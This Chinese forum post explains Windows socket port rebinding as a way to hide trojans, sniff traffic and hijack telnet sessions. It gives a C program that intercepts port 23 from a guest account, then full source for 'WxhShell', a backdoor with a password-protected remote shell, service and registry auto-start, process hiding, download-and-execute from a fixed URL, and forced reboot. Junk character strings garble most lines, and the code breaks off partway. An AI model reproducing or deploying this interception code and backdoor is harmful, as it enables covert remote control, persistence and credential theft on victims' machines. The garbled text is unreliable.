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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A%-6`>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?h2}#wg  
%|4UsWZ  
  saddr.sin_family = AF_INET; Y9|!+,  
XX~,>Q}H=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ch]29  
wyG;8I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :Tq~8!s  
[ /ZO q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :hA#m[  
E\$W_Lmr  
  这意味着什么?意味着可以进行如下的攻击: Q@HV- (A  
Y\tui+?J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !&\INl-Z  
i6N',&jFU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -$@h1Y  
.e5Mnd%$M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NEF# }s2=  
jh$='Gn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  et+0FF ,  
w#J2 wS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A)KZa"EX  
|K~Nw&rZ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]%(2hY~i  
y> (w\K9W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xLn%hxm?,  
H[|~/0?K  
  #include d!{r  v  
  #include q'11^V!0  
  #include B1Oq!k  
  #include    |'2d_vR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =Runf +}  
  int main() LHmZxi?  
  { <6=c,y  
  WORD wVersionRequested;  C.QO#b  
  DWORD ret; ~;]d"'  
  WSADATA wsaData; mcok/,/  
  BOOL val; "I TIhnE  
  SOCKADDR_IN saddr; lRdChoL$2  
  SOCKADDR_IN scaddr; Ct|A:/z(  
  int err; _aMF?Pj~m  
  SOCKET s; GJUL$9  
  SOCKET sc; FgI3   
  int caddsize; jq-_4}w?C  
  HANDLE mt; 3mni>*q7d  
  DWORD tid;   y3ikWnx  
  wVersionRequested = MAKEWORD( 2, 2 ); 59-c<I/}f  
  err = WSAStartup( wVersionRequested, &wsaData ); ,2)6s\]/b  
  if ( err != 0 ) { lys#G:H]  
  printf("error!WSAStartup failed!\n"); DeYV$W B  
  return -1; E!AE4B1bd  
  } u]gxFG "   
  saddr.sin_family = AF_INET; u2[w#   
   kNL\m[W8$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0?M:6zf_iv  
[8*)8jP3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]cruF#`%  
  saddr.sin_port = htons(23); %%wNZ{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M@ZI\  
  { 9g?(BI^z  
  printf("error!socket failed!\n"); ]s748+  
  return -1; ]9,; K;1<  
  } uwBi W  
  val = TRUE; IIqUZJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &"q=5e2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q5_o/wk  
  { o`RKXfCq  
  printf("error!setsockopt failed!\n"); o? $.fhD   
  return -1; 6`-jPR  
  } JMM W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [fIg{Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c0fo7|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I2^8pTLh  
<^uBoKB/f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bs'n+:X `  
  { ]0\MmAJRn  
  ret=GetLastError(); VD\=`r)nT  
  printf("error!bind failed!\n"); e0 T\tc  
  return -1; v9->nVc-  
  } V470C@  
  listen(s,2); qyNyBr?  
  while(1) e~':(/%|5;  
  { "wHFN>5B  
  caddsize = sizeof(scaddr); D#)b+7N-  
  //接受连接请求 E+JqWR5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V2G6Kw9gt  
  if(sc!=INVALID_SOCKET) ]$_NyAoBb  
  { kSh( u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?F;8Pa/  
  if(mt==NULL) ! v0LBe4  
  { >dG[G>  
  printf("Thread Creat Failed!\n"); C>w|a  
  break; = 9]~ yt  
  } )>- =R5ZV  
  } \'bzt"f$j  
  CloseHandle(mt); eGHaY4|  
  } +?!(G}5  
  closesocket(s); 0K2`-mL  
  WSACleanup(); C2Tyoza  
  return 0; IN G@B#Cl  
  }   ?3xzd P  
  DWORD WINAPI ClientThread(LPVOID lpParam) F@:'J\I}:  
  { DDH:)=;z  
  SOCKET ss = (SOCKET)lpParam; nj53G67y  
  SOCKET sc; !GGkdg*-*9  
  unsigned char buf[4096]; U`m54f@U  
  SOCKADDR_IN saddr; {Dmjm{   
  long num; C73 kJa  
  DWORD val; :4%k9BGAj"  
  DWORD ret; Ue~CwFOc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >oe]$r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^a1^\X.~  
  saddr.sin_family = AF_INET; ^ovR7+V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N*&1GT#9  
  saddr.sin_port = htons(23); xK\d4 "  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \;"=QmRD%:  
  { f`=-US  
  printf("error!socket failed!\n"); \} :PLCKT  
  return -1; 5o8EC" 0  
  } d{7 +w/Zi  
  val = 100; tC9n k5~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oo% d]8W  
  { 3kMf!VL  
  ret = GetLastError(); FG*r'tC~r  
  return -1; ilx)*Y  
  } t1y4 7fX6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KMjhZap%  
  { 4Wm@W E  
  ret = GetLastError(); Tyf`j,=  
  return -1; 7VFLJr t  
  } YV anW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gk /fBs  
  { MFAH%Z$  
  printf("error!socket connect failed!\n"); n#OB%@]<V  
  closesocket(sc); J6FV]Gpv  
  closesocket(ss); ?m? ::RH  
  return -1; r|Tcfk]%  
  } ={wcfhUl+  
  while(1) 8eHyL  
  { uGEfIy 2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }d}Ke_Q0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vTzlwK\#1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,>mrPtxN  
  num = recv(ss,buf,4096,0); ^RtIh-Z.9  
  if(num>0) RuVGG)  
  send(sc,buf,num,0); <3C*Z"aQ>|  
  else if(num==0) -I,$_  
  break; wT8DSq  
  num = recv(sc,buf,4096,0); 'u |c  
  if(num>0) tHwMX1 IG  
  send(ss,buf,num,0); wov\kV  
  else if(num==0) ByNn  
  break; 9e,0\J  
  } JB[~;nLlC  
  closesocket(ss); )C]g ld;8  
  closesocket(sc); W+ko q*P  
  return 0 ; Y^EcQzLw  
  } dvJ M6W>^=  
>_"an~Ss  
|Uh  
========================================================== "]b<uV  
D!-g&HBTC  
下边附上一个代码,,WXhSHELL V/I<g  
Ks`J([(W&  
========================================================== ]>nk"K!%  
p xa*'h"b^  
#include "stdafx.h" sZ/v^ xk  
0*D$R`$  
#include <stdio.h> %.-4!vj  
#include <string.h> GM f `A,>  
#include <windows.h> T&u5ki4NE  
#include <winsock2.h> z !rL s76  
#include <winsvc.h> *kDCliL  
#include <urlmon.h> U7}yi$WT  
ieCEo|b  
#pragma comment (lib, "Ws2_32.lib") qL3;}R  
#pragma comment (lib, "urlmon.lib") {dMsz   
qwgPk9l  
#define MAX_USER   100 // 最大客户端连接数 CxOob1@  
#define BUF_SOCK   200 // sock buffer dufu|BL|}  
#define KEY_BUFF   255 // 输入 buffer JL}_72gs  
dV$gB<iS  
#define REBOOT     0   // 重启 Y;^l%ePuW  
#define SHUTDOWN   1   // 关机 ZyPVy  
.Una+Z  
#define DEF_PORT   5000 // 监听端口 ARwD~ Tr  
HjD8u`qQ  
#define REG_LEN     16   // 注册表键长度 hxd`OG<gF  
#define SVC_LEN     80   // NT服务名长度 Eq9x2  
;m{1 _1  
// 从dll定义API BdblLUGK#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;d"F%M y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y}|X|!0x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " h~Z u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CiLg]va   
`1{ZqRFQ  
// wxhshell配置信息 rkCx{pe9  
struct WSCFG { 4`]^@"{  
  int ws_port;         // 监听端口 ]i ,{  
  char ws_passstr[REG_LEN]; // 口令 FX`>J6l:X  
  int ws_autoins;       // 安装标记, 1=yes 0=no KD7dye  
  char ws_regname[REG_LEN]; // 注册表键名 Tg)| or/ %  
  char ws_svcname[REG_LEN]; // 服务名 O6a<`]F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wX5tp1 ?1J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ipgC RHE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {xB!EQ"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =I;ZMJR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tc &z:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zFw s:_ i  
I%X6T@P  
}; j2.|ln"!  
{Y=WW7:Qx  
// default Wxhshell configuration ~{B7 k:  
struct WSCFG wscfg={DEF_PORT, ju8q?Nyhs  
    "xuhuanlingzhe", MvHm)h  
    1, j9 4=hJVKi  
    "Wxhshell", 0c'<3@39k|  
    "Wxhshell", KNpl:g3{<Q  
            "WxhShell Service", yyRiP|hJ  
    "Wrsky Windows CmdShell Service", Ln<`E|[29  
    "Please Input Your Password: ", =eXU@B  
  1, A) %/[GD2  
  "http://www.wrsky.com/wxhshell.exe", `nv~NLkl  
  "Wxhshell.exe" " H&W}N  
    }; ex9g?*Q  
#9}D4i.`}  
// 消息定义模块 D] jz A x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lVR~Bh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T?soJ]A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E=CsIK   
char *msg_ws_ext="\n\rExit."; E+R1 !.  
char *msg_ws_end="\n\rQuit."; z.9U}F  
char *msg_ws_boot="\n\rReboot..."; mD0f<gJ1  
char *msg_ws_poff="\n\rShutdown..."; m=A(NKZ   
char *msg_ws_down="\n\rSave to "; M!A}NWF  
A8fOQ  
char *msg_ws_err="\n\rErr!"; ;F!5%}OcL%  
char *msg_ws_ok="\n\rOK!"; RJ ||}5  
x?p1 HUK  
char ExeFile[MAX_PATH]; @qqg e'  
int nUser = 0; 6YLj^w] %  
HANDLE handles[MAX_USER]; 5k3b3&  
int OsIsNt; !&ayYu##{  
nE&@Q  
SERVICE_STATUS       serviceStatus; 1s2>C!\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EQyC1j  
RO VW s/  
// 函数声明 z Rl3KjET  
int Install(void); '}JhzKNj  
int Uninstall(void); k_qd |  
int DownloadFile(char *sURL, SOCKET wsh); B=yqW  
int Boot(int flag); K{cD+=]{  
void HideProc(void); DV+xg3\(>1  
int GetOsVer(void); t?ZI".>  
int Wxhshell(SOCKET wsl); ^ft>@=K(|  
void TalkWithClient(void *cs); YEs&  
int CmdShell(SOCKET sock); ,o{9$H5{  
int StartFromService(void); *:YiimOY"  
int StartWxhshell(LPSTR lpCmdLine); C'+YQ]u  
EXwo,?I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >CgTs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1i"WDu*h3  
5k3n\sqZA  
// 数据结构和表定义 <fjX[l<Uz  
SERVICE_TABLE_ENTRY DispatchTable[] = {3p4:*}  
{ Av$^  
{wscfg.ws_svcname, NTServiceMain}, 7 60Y$/Wz  
{NULL, NULL} ?m=N]!n  
}; #*uL)2nR  
+p_CN*10H  
// 自我安装 ARVf[BAJ-*  
int Install(void) 2d(e:r h]  
{ wd^':  
  char svExeFile[MAX_PATH]; ;%5N%0,  
  HKEY key; YTpSHpf@  
  strcpy(svExeFile,ExeFile); )uIe&B  
?)?Ng}  
// 如果是win9x系统,修改注册表设为自启动 ;| 5F[  
if(!OsIsNt) { zh`<WN&H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wj<6kG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eh;'S"{/?j  
  RegCloseKey(key); # E^1|:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f ue(UMF~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SSg8}m5)Q  
  RegCloseKey(key); dA`IEQJL  
  return 0; E7 Ul;d  
    } 3cyHfpx-W  
  } @=Uh',F  
} i2A81>68<  
else { A*R^n}sh  
| y# Jx  
// 如果是NT以上系统,安装为系统服务 *74MWF@IY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }wjw:M  
if (schSCManager!=0) Mzw<{*:r  
{ cAqLE\h  
  SC_HANDLE schService = CreateService vq0Tk bzs  
  ( 2dcV"lY  
  schSCManager,  E`0?  
  wscfg.ws_svcname, UA0Bzoky;  
  wscfg.ws_svcdisp, 9y8&9<#  
  SERVICE_ALL_ACCESS, ]z;I _-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yty/3T3)e  
  SERVICE_AUTO_START, #7 $ H  
  SERVICE_ERROR_NORMAL, )VS=E7[  
  svExeFile, /P3 <"?#k  
  NULL, R)( T^V`{  
  NULL, :WS@=sZN  
  NULL, B =T'5&  
  NULL, >`mVY=H i  
  NULL L>&t|T2  
  ); D~fl JR  
  if (schService!=0) b-?gw64#  
  { sPQQ"|wU  
  CloseServiceHandle(schService); [{,T.;'<j  
  CloseServiceHandle(schSCManager); Apag{Z]^B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L>NL:68yN  
  strcat(svExeFile,wscfg.ws_svcname); 9r<J"%*Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "]x'PI 4J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5iw<>9X*  
  RegCloseKey(key); fLD, 5SN  
  return 0; ~i{(<.he  
    } >d*@_ kJM  
  } v2\FA(BPn  
  CloseServiceHandle(schSCManager); )Y0!~# `  
} (ejvF):|  
} &|ex`nwc0  
rgv?gaQ>  
return 1; l -mfFN  
} w"|L:8  
!cLo> ,4  
// 自我卸载 a=1@*ID  
int Uninstall(void) 8.=BaNU  
{ =.U[$~3q%  
  HKEY key; q=m'^ ,gPS  
<CiSK!  
if(!OsIsNt) { SrJGTuXg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -%CP@dAk  
  RegDeleteValue(key,wscfg.ws_regname); tBWrL{xLe  
  RegCloseKey(key); P[ck84F/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *?>T,gx}  
  RegDeleteValue(key,wscfg.ws_regname); E\EsWb  
  RegCloseKey(key); u8g~  
  return 0; v`x.)S1  
  } Tc:)- z[o  
} FFpT~.  
} }W8;=$jr  
else { nYSiS}?S .  
.},'~NM]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'n]w"]|  
if (schSCManager!=0) jo@6?( *4  
{ F6|]4H.3Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1D7 `YKI9h  
  if (schService!=0) [Ek7b *  
  { o5GcpbZ3k  
  if(DeleteService(schService)!=0) { 1{. |+S Z!  
  CloseServiceHandle(schService); `?@}>.  
  CloseServiceHandle(schSCManager); u@M,qo`  
  return 0; ]Sz:|%JP1  
  } )[IC?U:5I  
  CloseServiceHandle(schService); <w9JRpFY  
  } XJ\DVZ  
  CloseServiceHandle(schSCManager); ncdKj}  
} (OL4Ex']  
} MK~8}x2K  
$6 9&O  
return 1;  . iI  
} XFpjYwn  
h"Q8b}$^)  
// 从指定url下载文件 wv1iSfW  
int DownloadFile(char *sURL, SOCKET wsh) 5m 4P\y^a  
{ MrFQ5:=  
  HRESULT hr; Y =I'czg  
char seps[]= "/";  A,<E\  
char *token; iy!=6  
char *file; n'LrQU  
char myURL[MAX_PATH]; Uz8ff  
char myFILE[MAX_PATH]; #A/  
Rsk4L0  
strcpy(myURL,sURL); $GcqBg-Hi  
  token=strtok(myURL,seps); ]p GL`ge5  
  while(token!=NULL) q~o<*W   
  { :\c ^*K(9  
    file=token; m? }6)\ob  
  token=strtok(NULL,seps); p27~>xQ  
  } P|E| $)m  
rJ4S%6w  
GetCurrentDirectory(MAX_PATH,myFILE); FVbb2Y?R  
strcat(myFILE, "\\"); f~R(D0@  
strcat(myFILE, file); R+z2}}Z!`  
  send(wsh,myFILE,strlen(myFILE),0); Y\P8 v  
send(wsh,"...",3,0); I;(L%TT `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1n8/r}q'H  
  if(hr==S_OK) [ l??A3G  
return 0; H$t_Xw==  
else &PHTpkaam  
return 1; Bm<`n;m  
ltSU fI  
} 4k1xy##  
J!(<y(l  
// 系统电源模块 '<)n8{3Q5w  
int Boot(int flag) Q&tG4f<  
{ L`TLgH&?R  
  HANDLE hToken; U< fGGCw  
  TOKEN_PRIVILEGES tkp; ML 9' |  
)2o?#8J  
  if(OsIsNt) { O 8r|8]o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pah'>dAL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t!l&iVWs  
    tkp.PrivilegeCount = 1; ^[`%&uj!g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SKN`2hD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u c)eil  
if(flag==REBOOT) { [|$h*YK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {S)6;|ua'  
  return 0; O=t_yy  
} Ll't>)  
else { qInR1r<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9W5lSX#^;  
  return 0; ;H*T^0  
} eo?bL$A[s  
  } ;igIZ$&  
  else { c)85=T6*aA  
if(flag==REBOOT) { ^{`exCwM x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q.bSIV|  
  return 0; 'H>^2C iM  
} 5C ]x!>kX  
else { $a]`nLUa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2F.;;Ab  
  return 0; ADzhNf S  
} 'IQ0{&EI  
} ]%H`_8<gc  
9TC,!0U{_.  
return 1; q3!bky\  
} @S;'@VC  
/,yd+wcW#  
// win9x进程隐藏模块 vvMT}-!  
void HideProc(void) !Ai@$tl[S  
{ j,eo2HaL  
Zu[su>\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _V6ukd"B~  
  if ( hKernel != NULL ) b8UO,fY q  
  { wn%A4-%{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p6V0`5@t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $6 f3F?y7  
    FreeLibrary(hKernel); bI1N@=  
  } {!L~@r  
9Y9GwL]T  
return; :5<UkN)R(  
} rb.N~  
$U WZDD  
// 获取操作系统版本 6bC3O4Rw  
int GetOsVer(void) _`T_">9r  
{ ?fSG'\h>  
  OSVERSIONINFO winfo; lL3U8}vn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b4kgFA  
  GetVersionEx(&winfo); Jnov<+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d$!RZHo10V  
  return 1; {EQOP]  
  else g) jYFfGfH  
  return 0; chX"O 0?"  
} )ez9"# MH'  
99QU3c<.  
// 客户端句柄模块 3=j"=-=  
int Wxhshell(SOCKET wsl) PJH&  
{ 3]S$ih&A  
  SOCKET wsh; gM:".Ee  
  struct sockaddr_in client; q2E_ A  
  DWORD myID; f ;n3&e0eC  
Fx.=#bVX7  
  while(nUser<MAX_USER) #_p\Ie*rd  
{ sO@Tf\d  
  int nSize=sizeof(client); nNn :-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kffcm/  
  if(wsh==INVALID_SOCKET) return 1; ~]2K ^bh8&  
+ ePS14G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kxv1Hn"`{E  
if(handles[nUser]==0) 5\ nAeP  
  closesocket(wsh); F)eelPZ+,  
else 4V`G,W4^J  
  nUser++; G"t5nHY\.  
  } a:w#s}bL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j#ab_3xH  
^1];S^nD  
  return 0; G 3ptx! D  
} @ j/a=4o[  
<LiPEo.R  
// 关闭 socket +M/ %+l  
void CloseIt(SOCKET wsh) ww1[rCh\+  
{ :V||c5B+  
closesocket(wsh); d2$IH#~9B  
nUser--; OneY_<*a<  
ExitThread(0); Q=$2c[Uk  
} J|73.&B  
`ERz\`d~Y;  
// 客户端请求句柄 ]Y&VT7+Z  
void TalkWithClient(void *cs) +ZP7{%  
{ i83OOV$1J  
f/?P514h  
  SOCKET wsh=(SOCKET)cs; (tW`=]z-<  
  char pwd[SVC_LEN]; BI@[\aRLQ  
  char cmd[KEY_BUFF]; $ I?"lky  
char chr[1]; >A"(KSNL  
int i,j; pQB."[n  
%xLh Z\  
  while (nUser < MAX_USER) { xAm6BB c  
Ny/MJ#Lq  
if(wscfg.ws_passstr) { $F.a><1rY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [$UI8tV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t]G:L}AOl  
  //ZeroMemory(pwd,KEY_BUFF); X:{!n({r=  
      i=0; @H8EWTZ  
  while(i<SVC_LEN) { -KbYOb  
!&E-}}<  
  // 设置超时 vl)l'  
  fd_set FdRead; jPkn[W# 6  
  struct timeval TimeOut; 8z\xrY  
  FD_ZERO(&FdRead); j?QDR  
  FD_SET(wsh,&FdRead); J'r^/  
  TimeOut.tv_sec=8; 8u]2xB=K  
  TimeOut.tv_usec=0; F!K>Kz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tid aa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \i &<s;  
COlaD"Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MolgwVd  
  pwd=chr[0]; 6Kz,{F@  
  if(chr[0]==0xd || chr[0]==0xa) { I]q% 2ie  
  pwd=0; K*dCc}:`  
  break; \|[;Z"4l  
  } G3v5KmT  
  i++;  %;!.n{X  
    } qqU 64E  
hi[pVk~B)  
  // 如果是非法用户,关闭 socket 5!9zI+S|=`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Flb&B1  
} xgtR6E^k  
yB6?`3A:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -UT}/:a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HxI" 8A  
c:.eGH_f  
while(1) { &%Tj/Qx  
,R|BG  
  ZeroMemory(cmd,KEY_BUFF); 93hxSRw  
0{SL&<&  
      // 自动支持客户端 telnet标准   1h5 Akq  
  j=0; C7AUsYM  
  while(j<KEY_BUFF) { }(u ol  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e96k{C`j0  
  cmd[j]=chr[0]; _SkLYL!=9  
  if(chr[0]==0xa || chr[0]==0xd) { akQ7K  
  cmd[j]=0; }ad|g6i`  
  break; [Vt\$  
  } 8dhUBJ0_  
  j++; =vhm}  
    } <a+Z;>  
QmIBaMI#  
  // 下载文件 Z?z.?a r  
  if(strstr(cmd,"http://")) { ? =+WRjF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tm?#M&'  
  if(DownloadFile(cmd,wsh)) { (}By/_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y <qm{e  
  else 9_s`{(0?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?bu>r=oIO]  
  } Rlirs-WQ  
  else { :U x_qB  
ct}9i"H#1  
    switch(cmd[0]) { e(G |;a  
  GPkpXVm  
  // 帮助 {VoHh_[5%  
  case '?': { bN@ l?w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cN9t{.m  
    break; `9.r`&T6K  
  } DlNX 3  
  // 安装 n(]-y@X0_  
  case 'i': { ;*&-C9b  
    if(Install()) Yz<1 wt7;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @s^-.z  
    else RpYERAgT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7VI*N)OZ8  
    break; @\I#^X5lv  
    } Rws3V"{`[  
  // 卸载 -Y;3I00(  
  case 'r': { *uvQ\.  
    if(Uninstall()) Xn\jO>[Ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #R RRu2  
    else 7=, ;h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N17RLz *\  
    break; & ZB  
    } E1f\%!2l  
  // 显示 wxhshell 所在路径 2GStN74Xr  
  case 'p': { "C3/T&F  
    char svExeFile[MAX_PATH]; Mb7I[5v  
    strcpy(svExeFile,"\n\r"); {FTqu.  
      strcat(svExeFile,ExeFile); nt.y !k  
        send(wsh,svExeFile,strlen(svExeFile),0); WOf 4o  
    break; 4v|W-h"K  
    } u> / TE  
  // 重启 61 ~upQaR  
  case 'b': { }4S6Xe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;6hOx(>`=  
    if(Boot(REBOOT)) Dn}Jxu'(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2dgd~   
    else { !5?<% *  
    closesocket(wsh); C2)2)  
    ExitThread(0); YT8F#t8  
    } c6/=Gq{.  
    break; sUm'  
    } W+1^4::+  
  // 关机 B,fo(kG  
  case 'd': { FU<Jp3<%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7vj2 `+r.  
    if(Boot(SHUTDOWN)) dGTsc/$  
